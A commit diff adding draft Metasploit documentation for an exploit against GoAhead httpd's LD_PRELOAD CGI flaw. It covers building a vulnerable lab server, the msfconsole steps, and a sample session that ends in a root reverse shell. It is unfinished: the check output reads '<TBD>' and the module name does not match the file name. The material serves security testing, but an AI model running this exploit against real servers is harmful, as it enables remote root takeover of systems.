Add a WIP of the module documentation

documentation/modules/exploit/linux/http/goahead_ldpreload.md

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+## Vulnerable Application
+
+  The GoAhead httpd server between versions 2.5 and 3.6.4 are vulnerable to an arbitrary code execution
+  vulnerability where a remote attacker can force a supplied shared library to be loaded into the process
+  of a CGI application. This module delivers a shared library payload as the raw data to a POST request
+  and forces this to be loaded by specifying a `LD_PRELOAD` value of `/proc/self/fd/0`.
+
+### Kali 2017.3 and Ubuntu 16.04 Install Instructions
+
+These instructions are based on the vulerability analysis by [elttam.com.au](https://www.elttam.com.au/blog/goahead/)
+
+```
+git clone https://github.com/embedthis/goahead.git
+cd goahead/
+git checkout tags/v3.6.4 -q
+make > /dev/null
+cd test
+gcc ./cgitest.c -o cgi-bin/cgitest
+sudo ../build/linux-x64-default/bin/goahead
+```
+
+## Verification Steps
+
+  Example steps in this format (is also in the PR):
+
+  1. Install the application
+  2. Start msfconsole
+  3. Do: ```use exploit/linux/http/goahead_cgi_exec```
+  4. Do: ```set rhost [ip]```
+  5. Do: ```exploit```
+  6. You should get a shell.
+
+## Options
+
+  **TARGET_URI**
+
+  Optional. The full path to a CGI endpoint on the target server.
+
+## Scenarios
+
+### GoAhead 3.6.4 on Ubuntu 16.04 x64
+
+```
+[*] Processing goahead.rc for ERB directives.
+resource (goahead.rc)> use exploit/linux/http/goahead_cgi_exec
+resource (goahead.rc)> set verbose true
+verbose => true
+resource (goahead.rc)> set rhost 127.1.1.1
+rhost => 127.1.1.1
+resource (goahead.rc)> check
+<TBD>
+resource (goahead.rc)> exploit
+[*] Started reverse TCP handler on 127.1.1.1:4444
+[*] Sending Exploit to /cgi-bin/cgitest
+[*] Command shell session 1 opened (127.1.1.1:4444 -> 127.1.1.1:45762) at 2017-12-23 17:12:39 -0500
+uname -a
+Linux goahead 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
+
+whoami
+root
+```